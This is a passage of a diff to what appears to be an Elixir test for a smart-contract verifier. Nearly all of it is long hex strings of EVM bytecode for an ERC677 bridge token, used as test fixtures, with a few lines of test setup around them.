013e61242d565b606091505b509150915081612484576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115611893578080602001905160208110156124a057600080fd5b50516118935760405162461bcd60e51b815260040180806020018281038252602a8152602001806127f2602a913960400191505060405180910390fd5b6001600160a01b0383166125225760405162461bcd60e51b81526004018080602001828103825260258152602001806127a96025913960400191505060405180910390fd5b6001600160a01b0382166125675760405162461bcd60e51b81526004018080602001828103825260238152602001806126606023913960400191505060405180910390fd5b6001600160a01b038316600090815260016020526040902054612590908263ffffffff61195016565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546125c5908263ffffffff611de516565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60328061262e8339019056fe60806040526040516032380380603283398181016040526020811015602357600080fd5b50516001600160a01b038116fffe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373a934977eb9828ba1f50591af02c98441645b4f0e916e0fecb4cc8e9c633dade2796f752063616e2774207472616e7366657220746f20446973747269627574696f6e20636f6e7472616374796f752063616e2774207472616e7366657220746f2062726964676520636f6e74726163744f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726f6e546f6b656e5472616e7366657228616464726573732c75696e743235362c62797465732963616e277420616464206f6e65206d6f7265206272696467652064756520746f2061206c696d697445524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564796f752063616e2774207472616e7366657220746f2041647669736f727352657761726420636f6e7472616374796f752063616e2774207472616e7366657220746f20507269766174654f66666572696e6720636f6e7472616374a265627a7a72305820fbfacd4b36dace16f9fd57104c8aafe8b5a519b29f407207baf7bb6b917422a764736f6c634300050a0032" - assert {:ok, - %{ - abi: abi, - constructor_arguments: ^constructor_arguments - }} = Verifier.evaluate_authenticity(contract_address.hash, params) + contract_address = insert(:contract_address, contract_code: deployed_bytecode) - assert abi != nil - end + input_data = %Data{ + bytes: Base.decode16!(input, case: :lower) + } - test "verifies with string in keccak256" do - source_code = - "#{File.cwd!()}/test/support/fixture/smart_contract/ERC677.sol" - |> File.read!() - - input = - "60806040523480156200001157600080fd5b5060405162002f3f38038062002f3f833981810160405260a08110156200003757600080fd5b8101908080516401000000008111156200005057600080fd5b820160208101848111156200006457600080fd5b81516401000000008111828201871017156200007f57600080fd5b505092919060200180516401000000008111156200009c57600080fd5b82016020810184811115620000b057600080fd5b8151640100000000811182820187101715620000cb57600080fd5b50506020820151604080840151606090940151600080546001600160a01b031916331780825592519497509295509287928792879287928792879287926012928592859285926001600160a01b0316917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a38251620001559060049060208601906200058d565b5081516200016b9060059060208501906200058d565b506006805460ff191660ff92909216919091179055505060405180605262002eed8239604080519182900360520182208651602097880120838301835260018085527f310000000000000000000000000000000000000000000000000000000000000094890194909452825180890192909252818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101929092523060a0808401919091528151808403909101815260c090920190528051908501206007555062000257926001600160a01b038716925062001e46620003ec821b17901c9050565b80156200027e57506200027e826001600160a01b0316620003ec60201b62001e461760201c565b8015620002a55750620002a5816001600160a01b0316620003ec60201b62001e461760201c565b6200031157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f6e6f74206120636f6e7472616374206164647265737300000000000000000000604482015290519081900360640190fd5b607b6200032884826001600160e01b03620003f216565b600a80546001600160a01b038087166001600160a01b03199283168117909355600b8054878316908416179055600c8054918616919092161790556040805183815290517f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859181900360200190a250506001600160a01b036000819052600d6020527fa934977eb9828ba1f50591af02c98441645b4f0e916e0fecb4cc8e9c633dade280546001600160a01b03191690911790555062000632975050505050505050565b3b151590565b6001600160a01b0382166200046857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b62000484816003546200051160201b62001de51790919060201c565b6003556001600160a01b038216600090815260016020908152604090912054620004b991839062001de562000511821b17901c565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000828201838110156200058657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620005d057805160ff191683800117855562000600565b8280016001018555821562000600579182015b8281111562000600578251825591602001919060010190620005e3565b506200060e92915062000612565b5090565b6200062f91905b808211156200060e576000815560010162000619565b90565b6128ab80620006426000396000f3fe608060405234801561001057600080fd5b50600436106102325760003560e01c8063726600ce11610130578063a457c2d7116100b8578063dd62ed3e1161007c578063dd62ed3e1461075f578063f2d5d56b1461078d578063f2fde38b146107b9578063fbb2a53f146107df578063ff9e884d146107e757610232565b8063a457c2d71461069d578063a9059cbb146106c9578063b753a98c146106f5578063bb35783b14610721578063c794c7691461075757610232565b80638f32d59b116100ff5780638f32d59b146105b55780638fcbaf0c146105bd57806395d89b41146106175780639712fdf81461061f5780639da38e2f1461064557610232565b8063726600ce146105595780637a13685a1461057f5780637ecebe00146105875780638da5cb5b146105ad57610232565b806337fb7e21116101be57806354fd4d501161018257806354fd4d50146104ed57806369ffa08a146104f55780636e15d21b1461052357806370a082311461052b578063715018a61461055157610232565b806337fb7e21146103c657806339509351146103ea5780634000aea01461041657806340c10f191461049b5780634bcb88bc146104c757610232565b8063238a3fe111610205578063238a3fe11461033657806323b872dd1461036257806330adf81f14610398578063313ce567146103a05780633644e515146103be57610232565b806304df017d1461023757806306fdde031461025f578063095ea7b3146102dc57806318160ddd1461031c575b600080fd5b61025d6004803603602081101561024d57600080fd5b50356001600160a01b0316610815565b005b610267610a56565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102a1578181015183820152602001610289565b50505050905090810190601f1680156102ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610308600480360360408110156102f257600080fd5b506001600160a01b038135169060200135610aec565b604080519115158252519081900360200190f35b610324610b02565b60408051918252519081900360200190f35b6103086004803603604081101561034c57600080fd5b506001600160a01b038135169060200135610b08565b6103086004803603606081101561037857600080fd5b506001600160a01b03813581169160208101359091169060400135610b8d565b610324610baf565b6103a8610bd3565b6040805160ff9092168252519081900360200190f35b610324610bdc565b6103ce610be2565b604080516001600160a01b039092168252519081900360200190f35b6103086004803603604081101561040057600080fd5b506001600160a01b038135169060200135610bf1565b6103086004803603606081101561042c57600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561045c57600080fd5b82018360208201111561046e57600080fd5b8035906020019184600183028401116401000000008311171561049057600080fd5b509092509050610c32565b610308600480360360408110156104b157600080fd5b506001600160a01b038135169060200135610dd2565b6103ce600480360360208110156104dd57600080fd5b50356001600160a01b0316610e80565b610267610e9b565b61025d6004803603604081101561050b57600080fd5b506001600160a01b0381358116916020013516610eb8565b6103ce611083565b6103246004803603602081101561054157600080fd5b50356001600160a01b0316611092565b61025d6110ad565b6103086004803603602081101561056f57600080fd5b50356001600160a01b0316611133565b6103ce61116d565b6103246004803603602081101561059d57600080fd5b50356001600160a01b031661117c565b6103ce61118e565b61030861119d565b61025d60048036036101008110156105d457600080fd5b506001600160a01b038135811691602081013590911690604081013590606081013590608081013515159060ff60a0820135169060c08101359060e001356111ae565b610267611446565b61025d6004803603602081101561063557600080fd5b50356001600160a01b03166114a7565b61064d6116e6565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610689578181015183820152602001610671565b505050509050019250505060405180910390f35b610308600480360360408110156106b357600080fd5b506001600160a01b03813516906020013561182a565b610308600480360360408110156106df57600080fd5b506001600160a01b038135169060200135611866565b61025d6004803603604081101561070b57600080fd5b506001600160a01b03813516906020013561187d565b61025d6004803603606081101561073757600080fd5b506001600160a01b03813581169160208101359091169060400135611888565b6103ce611899565b6103246004803603604081101561077557600080fd5b506001600160a01b03813581169160200135166118a4565b61025d600480360360408110156107a357600080fd5b506001600160a01b0381351690602001356118cf565b61025d600480360360208110156107cf57600080fd5b50356001600160a01b03166118da565b61032461192d565b610324600480360360408110156107fd57600080fd5b506001600160a01b0381358116916020013516611933565b61081d61119d565b61085c576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b61086581611133565b6108ad576040805162461bcd60e51b8152602060048201526014602482015273189c9a5919d9481a5cdb89dd08195e1a5cdd195960621b604482015290519081900360640190fd5b6001600160a01b038082166000908152600d6020526040812054908290526000805160206126cb833981519152549082169190811680610929576040805162461bcd60e51b81526020600482015260126024820152711e995c9bc81859191c995cdcc8199bdd5b9960721b604482015290519081900360640190fd5b836001600160a01b0316816001600160a01b0316146109c8576001600160a01b038082166000908152600d602052604090205491925090811690811480159061097a57506001600160a01b03811615155b6109c3576040805162461bcd60e51b81526020600482015260156024820152741a5b9d985b1a59081859191c995cdcc8199bdd5b99605a1b604482015290519081900360640190fd5b610929565b6001600160a01b038083166000908152600d602052604080822080548488166001600160a01b0319918216179091559287168252902080549091169055600e54610a1990600163ffffffff61195016565b600e556040516001600160a01b038516907f5d9d5034656cb3ebfb0655057cd7f9b4077a9b42ff42ce223cbac5bc586d212690600090a250505050565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ae25780601f10610ab757610100808354040283529160200191610ae2565b820191906000526020600020905b815481529060010190602001808311610ac557829003601f168201915b5050505050905090565b6000610af93384846119ad565b50600192915050565b60035490565b600a546000906001600160a01b0316331480610b2e5750600b546001600160a01b031633145b80610b435750600c546001600160a01b031633145b610b83576040805162461bcd60e51b815260206004820152600c60248201526b3bb937b7339039b2b73232b960a11b604482015290519081900360640190fd5b610af98383611a99565b6000610b9a848484611bd9565b610ba5848484611c2c565b5060019392505050565b7fea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb81565b60065460ff1690565b60075481565b600a546001600160a01b031681565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610af9918590610c2d908663ffffffff611de516565b6119ad565b6000846001600160a01b03811615801590610c5657506001600160a01b0381163014155b610c9f576040805162461bcd60e51b81526020600482015260156024820152741b9bdd0818481d985b1a59081c9958da5c1a595b9d605a1b604482015290519081900360640190fd5b610ca98686611a99565b856001600160a01b0316336001600160a01b03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1687878760405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a3610d37866001600160a01b0316611e46565b15610dc657610d7e33878787878080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611e4c92505050565b610dc6576040805162461bcd60e51b815260206004820152601460248201527318dbdb9d1c9858dd0818d85b1b0819985a5b195960621b604482015290519081900360640190fd5b50600195945050505050565b6000610ddd33611133565b610e2e576040805162461bcd60e51b815260206004820152601860248201527f63616c6c6572206973206e6f7420746865206272696467650000000000000000604482015290519081900360640190fd5b610e388383612039565b6040805183815290516001600160a01b038516917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a250600192915050565b600d602052600090815260409020546001600160a01b031681565b604051806040016040528060018152602001603160f81b81525081565b610ec061119d565b610eff576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b806001600160a01b03811615801590610f2157506001600160a01b0381163014155b610f6a576040805162461bcd60e51b81526020600482015260156024820152741b9bdd0818481d985b1a59081c9958da5c1a595b9d605a1b604482015290519081900360640190fd5b6001600160a01b038316610fe8576040513031906001600160a01b0384169082156108fc029083906000818181858888f19350505050610fe2578083604051610fb290612621565b6001600160a01b039091168152604051908190036020019082f080158015610fde573d6000803e3d6000fd5b5050505b5061107e565b604080516370a0823160e01b8152306004820152905184916000916001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561103357600080fd5b505afa158015611047573d6000803e3d6000fd5b505050506040513d602081101561105d57600080fd5b5051905061107b6001600160a01b038316858363ffffffff61212b16565b50505b505050565b600c546001600160a01b031681565b6001600160a01b031660009081526001602052604090205490565b6110b561119d565b6110f4576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b6040805162461bcd60e51b815260206004820152600f60248201526e1b9bdd081a5b5c1b195b595b9d1959608a1b604482015290519081900360640190fd5b60006001600160a01b038281161480159061116757506001600160a01b038281166000908152600d60205260409020541615155b92915050565b600b546001600160a01b031681565b60086020526000908152604090205481565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b8415806111c25750846111bf61217d565b11155b611204576040805162461bcd60e51b815260206004820152600e60248201526d696e76616c69642065787069727960901b604482015290519081900360640190fd5b600754604080517fea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb6020808301919091526001600160a01b03808d16838501528b166060830152608082018a905260a0820189905287151560c0808401919091528351808403909101815260e08301845280519082012061190160f01b610100840152610102830194909452610122808301949094528251808303909401845261014282018084528451948201949094206000909452610162820180845284905260ff87166101828301526101a282018690526101c2820185905291516001926101e2808401939192601f1981019281900390910190855afa15801561130e573d6000803e3d6000fd5b505050602060405103516001600160a01b0316896001600160a01b03161461137d576040805162461bcd60e51b815260206004820152601f60248201527f696e76616c6964207369676e6174757265206f7220706172616d657465727300604482015290519081900360640190fd5b6001600160a01b038916600090815260086020526040902080546001810190915587146113e1576040805162461bcd60e51b815260206004820152600d60248201526c696e76616c6964206e6f6e636560981b604482015290519081900360640190fd5b6000856113ef5760006113f3565b6000195b90506114008a8a836119ad565b8561140c57600061140e565b865b6001600160a01b039a8b1660009081526009602090815260408083209c909d1682529a909a5299909820989098555050505050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ae25780601f10610ab757610100808354040283529160200191610ae2565b6114af61119d565b6114ee576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b6032600e541061152f5760405162461bcd60e51b81526004018080602001828103825260288152602001806127816028913960400191505060405180910390fd5b611541816001600160a01b0316611e46565b61158b576040805162461bcd60e51b81526020600482015260166024820152756e6f74206120636f6e7472616374206164647265737360501b604482015290519081900360640190fd5b61159481611133565b156115de576040805162461bcd60e51b815260206004820152601560248201527462726964676520616c72656164792065786973747360581b604482015290519081900360640190fd5b6001600160a01b036000819052600d6020526000805160206126cb833981519152541680611653576040805162461bcd60e51b815260206004820152601c60248201527f666972737420627269646765206973207a65726f206164647265737300000000604482015290519081900360640190fd5b600d6020526000805160206126cb83398151915280546001600160a01b03199081166001600160a01b038581169182179093556000908152604090208054909116918316919091179055600e546116ab906001611de5565b600e556040516001600160a01b038316907f3cda433c5679ae4c6a5dea50840e222a42cba3695e4663de4366be899348422190600090a25050565b606080600e54604051908082528060200260200182016040528015611715578160200160208202803883390190505b506001600160a01b036000818152600d6020526000805160206126cb83398151915254929350911680611784576040805162461bcd60e51b81526020600482015260126024820152711e995c9bc81859191c995cdcc8199bdd5b9960721b604482015290519081900360640190fd5b6001600160a01b038181161461182257808383815181106117a157fe5b6001600160a01b039283166020918202929092018101919091529181166000908152600d90925260409091205460019290920191168061181d576040805162461bcd60e51b81526020600482015260126024820152711e995c9bc81859191c995cdcc8199bdd5b9960721b604482015290519081900360640190fd5b611784565b509091505090565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610af9918590610c2d908663ffffffff61195016565b60006118728383611a99565b610af9338484611c2c565b61107e338383610b8d565b611893838383610b8d565b50505050565b6001600160a01b0381565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61107e823383610b8d565b6118e261119d565b611921576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b61192a81612181565b50565b600e5481565b600960209081526000928352604080842090915290825290205481565b6000828211156119a7576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6001600160a01b0383166119f25760405162461bcd60e51b81526004018080602001828103825260248152602001806127ce6024913960400191505060405180910390fd5b6001600160a01b038216611a375760405162461bcd60e51b81526004018080602001828103825260228152602001806126a96022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600a546000906001600160a01b0316331480611abf5750600b546001600160a01b031633145b80611ad45750600c546001600160a01b031633145b15611b885733600090815260016020526040902054611af9908363ffffffff61195016565b33600090815260016020526040808220929092556001600160a01b03851681522054611b2b908363ffffffff611de516565b6001600160a01b0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001611b95565b611b928383612221565b90505b8061107e576040805162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b6000611be684848461222e565b905080611893576040805162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b611c3e826001600160a01b0316611e46565b8015611c655750604080516000815260208101909152611c6390849084908490611e4c565b155b1561107e57611c7382611133565b15611caf5760405162461bcd60e51b81526004018080602001828103825260258152602001806127166025913960400191505060405180910390fd5b600a546001600160a01b0383811691161415611cfc5760405162461bcd60e51b815260040180806020018281038252602b8152602001806126eb602b913960400191505060405180910390fd5b600b546001600160a01b0383811691161415611d495760405162461bcd60e51b815260040180806020018281038252602e815260200180612849602e913960400191505060405180910390fd5b600c546001600160a01b0383811691161415611d965760405162461bcd60e51b815260040180806020018281038252602d81526020018061281c602d913960400191505060405180910390fd5b604080516001600160a01b0380861682528416602082015280820183905290517f11249f0fc79fc134a15a10d1da8291b79515bf987e036ced05b9ec119614070b9181900360600190a1505050565b600082820183811015611e3f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3b151590565b6000606060405180606001604052806026815260200161275b6026913990506000856001600160a01b03168288878760405160240180846001600160a01b03166001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611ed9578181015183820152602001611ec1565b50505050905090810190601f168015611f065780820380516001836020036101000a031916815260200191505b50945050505050604051602081830303815290604052906040518082805190602001908083835b60208310611f4c5780518252601f199092019160209182019101611f2d565b51815160001960209485036101000a01908116901991909116179052604080519490920184900390932092860180516001600160e01b03166001600160e01b031990941693909317835251855190945084935090508083835b60208310611fc45780518252601f199092019160209182019101611fa5565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612026576040519150601f19603f3d011682016040523d82523d6000602084013e61202b565b606091505b509098975050505050505050565b6001600160a01b038216612094576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6003546120a7908263ffffffff611de516565b6003556001600160a01b0382166000908152600160205260409020546120d3908263ffffffff611de516565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261107e908490612325565b4290565b6001600160a01b0381166121c65760405162461bcd60e51b81526004018080602001828103825260268152602001806126836026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610af93384846124dd565b600061223b8484846124dd565b6001600160a01b0384163314610ba557600061225785336118a4565b9050600019811461227c576122778533610c2d848763ffffffff61195016565b61231f565b6001600160a01b038516600090815260096020908152604080832033845290915290205415806122d657506122af61217d565b6001600160a01b038616600090815260096020908152604080832033845290915290205410155b61231f576040805162461bcd60e51b8152602060048201526015602482015274195e1c1a5c9e481a5cc81a5b881d1a19481c185cdd605a1b604482015290519081900360640190fd5b50610ba5565b612337826001600160a01b0316611e46565b612388576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106123c65780518252601f1990920191602091820191016123a7565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612428576040519150601f19603f3d011682016040523d82523d6000602084013e61242d565b606091505b509150915081612484576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115611893578080602001905160208110156124a057600080fd5b50516118935760405162461bcd60e51b815260040180806020018281038252602a8152602001806127f2602a913960400191505060405180910390fd5b6001600160a01b0383166125225760405162461bcd60e51b81526004018080602001828103825260258152602001806127a96025913960400191505060405180910390fd5b6001600160a01b0382166125675760405162461bcd60e51b81526004018080602001828103825260238152602001806126606023913960400191505060405180910390fd5b6001600160a01b038316600090815260016020526040902054612590908263ffffffff61195016565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546125c5908263ffffffff611de516565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60328061262e8339019056fe60806040526040516032380380603283398181016040526020811015602357600080fd5b50516001600160a01b038116fffe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373a934977eb9828ba1f50591af02c98441645b4f0e916e0fecb4cc8e9c633dade2796f752063616e2774207472616e7366657220746f20446973747269627574696f6e20636f6e7472616374796f752063616e2774207472616e7366657220746f2062726964676520636f6e74726163744f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726f6e546f6b656e5472616e7366657228616464726573732c75696e743235362c62797465732963616e277420616464206f6e65206d6f7265206272696467652064756520746f2061206c696d697445524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564796f752063616e2774207472616e7366657220746f2041647669736f727352657761726420636f6e7472616374796f752063616e2774207472616e7366657220746f20507269766174654f66666572696e6720636f6e7472616374a265627a7a72305820fbfacd4b36dace16f9fd57104c8aafe8b5a519b29f407207baf7bb6b917422a764736f6c634300050a0032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e74726163742900000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000348448061f604f4adf7ba714460c03cc6eb5b9f4000000000000000000000000348448061f604f4adf7ba714460c03cc6eb5b9f4000000000000000000000000348448061f604f4adf7ba714460c03cc6eb5b9f40000000000000000000000000000000000000000000000000000000000000003717765000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000037177650000000000000000000000000000000000000000000000000000000000" - - deployed_bytecode = - "0x608060405234801561001057600080fd5b50600436106102325760003560e01c8063726600ce11610130578063a457c2d7116100b8578063dd62ed3e1161007c578063dd62ed3e1461075f578063f2d5d56b1461078d578063f2fde38b146107b9578063fbb2a53f146107df578063ff9e884d146107e757610232565b8063a457c2d71461069d578063a9059cbb146106c9578063b753a98c146106f5578063bb35783b14610721578063c794c7691461075757610232565b80638f32d59b116100ff5780638f32d59b146105b55780638fcbaf0c146105bd57806395d89b41146106175780639712fdf81461061f5780639da38e2f1461064557610232565b8063726600ce146105595780637a13685a1461057f5780637ecebe00146105875780638da5cb5b146105ad57610232565b806337fb7e21116101be57806354fd4d501161018257806354fd4d50146104ed57806369ffa08a146104f55780636e15d21b1461052357806370a082311461052b578063715018a61461055157610232565b806337fb7e21146103c657806339509351146103ea5780634000aea01461041657806340c10f191461049b5780634bcb88bc146104c757610232565b8063238a3fe111610205578063238a3fe11461033657806323b872dd1461036257806330adf81f14610398578063313ce567146103a05780633644e515146103be57610232565b806304df017d1461023757806306fdde031461025f578063095ea7b3146102dc57806318160ddd1461031c575b600080fd5b61025d6004803603602081101561024d57600080fd5b50356001600160a01b0316610815565b005b610267610a56565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102a1578181015183820152602001610289565b50505050905090810190601f1680156102ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610308600480360360408110156102f257600080fd5b506001600160a01b038135169060200135610aec565b604080519115158252519081900360200190f35b610324610b02565b60408051918252519081900360200190f35b6103086004803603604081101561034c57600080fd5b506001600160a01b038135169060200135610b08565b6103086004803603606081101561037857600080fd5b506001600160a01b03813581169160208101359091169060400135610b8d565b610324610baf565b6103a8610bd3565b6040805160ff9092168252519081900360200190f35b610324610bdc565b6103ce610be2565b604080516001600160a01b039092168252519081900360200190f35b6103086004803603604081101561040057600080fd5b506001600160a01b038135169060200135610bf1565b6103086004803603606081101561042c57600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561045c57600080fd5b82018360208201111561046e57600080fd5b8035906020019184600183028401116401000000008311171561049057600080fd5b509092509050610c32565b610308600480360360408110156104b157600080fd5b506001600160a01b038135169060200135610dd2565b6103ce600480360360208110156104dd57600080fd5b50356001600160a01b0316610e80565b610267610e9b565b61025d6004803603604081101561050b57600080fd5b506001600160a01b0381358116916020013516610eb8565b6103ce611083565b6103246004803603602081101561054157600080fd5b50356001600160a01b0316611092565b61025d6110ad565b6103086004803603602081101561056f57600080fd5b50356001600160a01b0316611133565b6103ce61116d565b6103246004803603602081101561059d57600080fd5b50356001600160a01b031661117c565b6103ce61118e565b61030861119d565b61025d60048036036101008110156105d457600080fd5b506001600160a01b038135811691602081013590911690604081013590606081013590608081013515159060ff60a0820135169060c08101359060e001356111ae565b610267611446565b61025d6004803603602081101561063557600080fd5b50356001600160a01b03166114a7565b61064d6116e6565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610689578181015183820152602001610671565b505050509050019250505060405180910390f35b610308600480360360408110156106b357600080fd5b506001600160a01b03813516906020013561182a565b610308600480360360408110156106df57600080fd5b506001600160a01b038135169060200135611866565b61025d6004803603604081101561070b57600080fd5b506001600160a01b03813516906020013561187d565b61025d6004803603606081101561073757600080fd5b506001600160a01b03813581169160208101359091169060400135611888565b6103ce611899565b6103246004803603604081101561077557600080fd5b506001600160a01b03813581169160200135166118a4565b61025d600480360360408110156107a357600080fd5b506001600160a01b0381351690602001356118cf565b61025d600480360360208110156107cf57600080fd5b50356001600160a01b03166118da565b61032461192d565b610324600480360360408110156107fd57600080fd5b506001600160a01b0381358116916020013516611933565b61081d61119d565b61085c576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b61086581611133565b6108ad576040805162461bcd60e51b8152602060048201526014602482015273189c9a5919d9481a5cdb89dd08195e1a5cdd195960621b604482015290519081900360640190fd5b6001600160a01b038082166000908152600d6020526040812054908290526000805160206126cb833981519152549082169190811680610929576040805162461bcd60e51b81526020600482015260126024820152711e995c9bc81859191c995cdcc8199bdd5b9960721b604482015290519081900360640190fd5b836001600160a01b0316816001600160a01b0316146109c8576001600160a01b038082166000908152600d602052604090205491925090811690811480159061097a57506001600160a01b03811615155b6109c3576040805162461bcd60e51b81526020600482015260156024820152741a5b9d985b1a59081859191c995cdcc8199bdd5b99605a1b604482015290519081900360640190fd5b610929565b6001600160a01b038083166000908152600d602052604080822080548488166001600160a01b0319918216179091559287168252902080549091169055600e54610a1990600163ffffffff61195016565b600e556040516001600160a01b038516907f5d9d5034656cb3ebfb0655057cd7f9b4077a9b42ff42ce223cbac5bc586d212690600090a250505050565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ae25780601f10610ab757610100808354040283529160200191610ae2565b820191906000526020600020905b815481529060010190602001808311610ac557829003601f168201915b5050505050905090565b6000610af93384846119ad565b50600192915050565b60035490565b600a546000906001600160a01b0316331480610b2e5750600b546001600160a01b031633145b80610b435750600c546001600160a01b031633145b610b83576040805162461bcd60e51b815260206004820152600c60248201526b3bb937b7339039b2b73232b960a11b604482015290519081900360640190fd5b610af98383611a99565b6000610b9a848484611bd9565b610ba5848484611c2c565b5060019392505050565b7fea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb81565b60065460ff1690565b60075481565b600a546001600160a01b031681565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610af9918590610c2d908663ffffffff611de516565b6119ad565b6000846001600160a01b03811615801590610c5657506001600160a01b0381163014155b610c9f576040805162461bcd60e51b81526020600482015260156024820152741b9bdd0818481d985b1a59081c9958da5c1a595b9d605a1b604482015290519081900360640190fd5b610ca98686611a99565b856001600160a01b0316336001600160a01b03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1687878760405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a3610d37866001600160a01b0316611e46565b15610dc657610d7e33878787878080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611e4c92505050565b610dc6576040805162461bcd60e51b815260206004820152601460248201527318dbdb9d1c9858